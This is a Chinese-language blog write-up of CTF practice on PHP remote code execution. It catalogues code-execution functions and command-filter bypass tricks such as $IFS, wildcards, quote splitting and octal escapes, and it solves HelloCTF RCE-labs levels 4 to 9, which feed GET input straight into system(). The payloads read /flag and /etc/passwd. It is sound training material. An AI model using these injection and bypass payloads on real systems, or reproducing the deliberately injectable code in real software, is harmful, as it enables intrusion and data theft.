0%

RCE

RCE

RCE基础豆知识

**RCE(Remote code execution 代码执行&命令执行)**,分为命令执行和代码执行。

1
2
3
代码执行:eval("include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;");

命令执行:system("echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag");

PHP代码执行函数

函数 说明 示例代码
${} 用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 eval('${flag}');
eval() 用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 eval('echo $flag;');
assert() 测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。 PHP 8.0.0 后移除该功能。 assert(print_r($flag));
call_user_func() 用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 call_user_func('print_r', $flag);
create_function() 创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被*废弃*,并自 PHP 8.0.0 起被*移除*。 create_function('$a', 'echo $flag;')($a);
array_map() 将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 array_map(print_r($flag), $a);
call_user_func_array() 调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 call_user_func_array(print_r($flag), array());
usort() 对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 usort($a,print_r($flag));
array_filter() 过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 array_filter($a,print_r($flag));
array_reduce() 迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 array_reduce($a,print_r($flag));
preg_replace() 执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start() ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 ob_start(print_r($flag));

绕过技巧

参数逃逸

示例:

1
2
3
4
5
6
7
<?php 
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c)) //这里还过滤的.和空格
{
eval($c);
}
?>

如果这些写c参数:url?c=eval($_GET['a']);,则会绕过限制。

空格绕过

绕过方式 示例 说明
%09 ls%09/etc 是TAB制表符的URL编码
$IFS ls$IFS/etc $IFS 是 Bash 中的内部字段分隔符,默认值是空格。
\t ls\t/etc Tab 字符,有时可用 %09(URL编码)或直接注入制表符。
${IFS} ls${IFS}/etc 明确写法,防止 $IFSabc 被误解。
%20 ls%20/etc URL 编码的空格,常见于Web请求中。
"$@" "ls$@/etc" $@ 代表所有参数,某些情况下解析成空格。
${PATH:0:1} ls${PATH:0:1}/etc 从环境变量中提取空格字符(原理复杂,略不常用)。
{ , } {cat,flag.php} 用逗号实现了空格功能

通配符绕过

1
2
3
4
5
cat /passwd:

??? /e??/?a????

cat /e*/pa*

管道符绕过

windows

  1. |:直接执行后面语句
  2. ||:前面执行失败,则执行后面
  3. &:两个都执行,如果前面的命令为假,则直接执行后面
  4. &&如果前面的语句为假则直接出错,也不执行后面,前面为真,则都执行。

Linux

  1. |:显示后面语句的结果
  2. ||:当前面直接出错,执行后面的语句
  3. &:两个都执行,同win
  4. &&:前面出错,则不执行后面,两个都为true才都执行,前面只能为true。
  5. `:在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行。
  6. ;:执行完前面执行后面。

变量拼接绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a=fl;b=ag

system(cat '$a.$b.php');


(sy.(st).em)(whoami);//

c''a''t /etc/passwd//单引

c""a""t /etc/passwd//双引

c``a``t /etc/passwd/反单引

c\a\t /etc/passwd//反斜线

cat的代替

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:显示文件类型信息,若出错会报告具体内容
tailf:类似于 tail -f,实时显示文件尾部内容

Base64编码绕过

1
2
3
4
echo 'ls' | base64
->bHMK
echo 'bHMK' | base64 -d
-> flag.ph test.php ......

linux特殊变量绕过

变量 含义 示例输出
${#} 传递给脚本或函数的参数个数 0(参数为空时)
${?} 上一个命令的退出状态 0(正常退出)或 1(异常退出)
${_} 上一个命令的最后一个参数 上一个命令的最后一个参数值
${0} 当前脚本或 shell 的名字 bash 或脚本名
${1} 到 ${9} 传递给脚本或函数的第 1 到第 9 个参数 第 1 到第 9 个参数值
${@} 传递给脚本或函数的所有参数(以列表形式) 所有参数值
${*} 传递给脚本或函数的所有参数(以字符串形式) 所有参数作为单个字符串
${$} 当前 shell 的进程 ID (PID) 进程 ID 值
${!} 上一个后台运行的进程的进程 ID (PID) 后台进程的 PID
${-} 当前 shell 的选项标志 hB(表示 shell 选项标志)

$PATH

主要是截取环境变量中的字幕来拼接命令

1
2
3
4
5
6
7
8
echo $PATH
/opt/jdk-21/bin //假如是这样的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/

**如果没有特定字母?**这个时候我们可以自己取构造一个PATH。

1
export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

RCE-labs打靶

RCE-labs-level4 SHELL 运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"


try GET:
?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

直接拼接命令就可以了,/?ip=127.0.0.1| cat /flag

RCE-labs-level5 终端特性_空字符忽略和通配符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...


*/

function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

waf了flag关键字,用通配符绕过,或者反斜杠转义绕过。

/?cmd=cat /f???

/?cmd=cat /fla\g

RCE-labs-level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 挑战关 ---

刚才,学了什么来着!?

*/

function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这关给的很很巧妙,我刚开始没仔细看,以为是吧数字字母全部waf掉了,结果四也想不到怎么构造,结果一看wp,发现还有a以及数字没有被过滤。

于是就可以构造以下命令:

/???/?a??64 /??a? ->/bin/base64 /flag

/???/?a? /??a? -> /bin/cat /flag

RCE-labs-level7 空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Geesec{e2f4a676-8e5d-4b6c-b57b-d1dd6959cd83} <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。


*/

function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>


可用${IFS}$IFS%09

RCE-labs-level8 错误重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/

function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

用 ;来分隔重定向, /?cmd=cat /flag;

这里贴一下wp中的总结:

在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值来表示其中特定的文件描述符有以下含义

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出

平时我们使用的”<”和”>”其实就相当于是使用”0<”和”1>”,下面是几种常见的使用示例:

符号 示例 解释
> echo "Hello" > file.txt echo 的输出重定向到 file.txt 文件
< wc -l < file.txt file.txt 作为 wc 命令的输入
>> echo "World" >> file.txt echo 的输出以追加方式重定向到 file.txt
<< cat << EOF 将输入的文本作为 cat 命令的输入,直到遇到 EOF 结束
<> cat <> file.txt 以读写模式打开 file.txt 并将其内容作为输入
`> ` `echo “Override” >
: > : > file.txt file.txt 截断为0长度,或创建空文件
>&n ls >&2 ls 的标准输出和错误输出重定向到文件描述符 n (如 2 为标准错误输出)
m>&n exec 3>&1 将文件描述符 3 重定向到描述符 1,即输出重定向到标准输出
>&- exec >&- 关闭标准输出
<&n exec <&0 输入来自文件描述符 0 (标准输入)
m<&n exec 3<&0 将文件描述符 3 重定向到描述符 0 (标准输入)
<&- exec <&- 关闭标准输入文件描述符
<&n- exec <&0- 重定向并关闭文件描述符 n (标准输入)
>&n- exec >&1- 重定向并关闭文件描述符 n (标准输出)

RCE-labs-level9 无字母 (八进制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

RCE-labs-level10

RCE-labs-level11

RCE-labs-level12

RCE-labs-level13

RCE-labs-level14

参考文章:
CTF中常见RCE命令执行绕过技巧 - LinkPoc - 博客园

CTF中的RCE - FreeBuf网络安全行业门户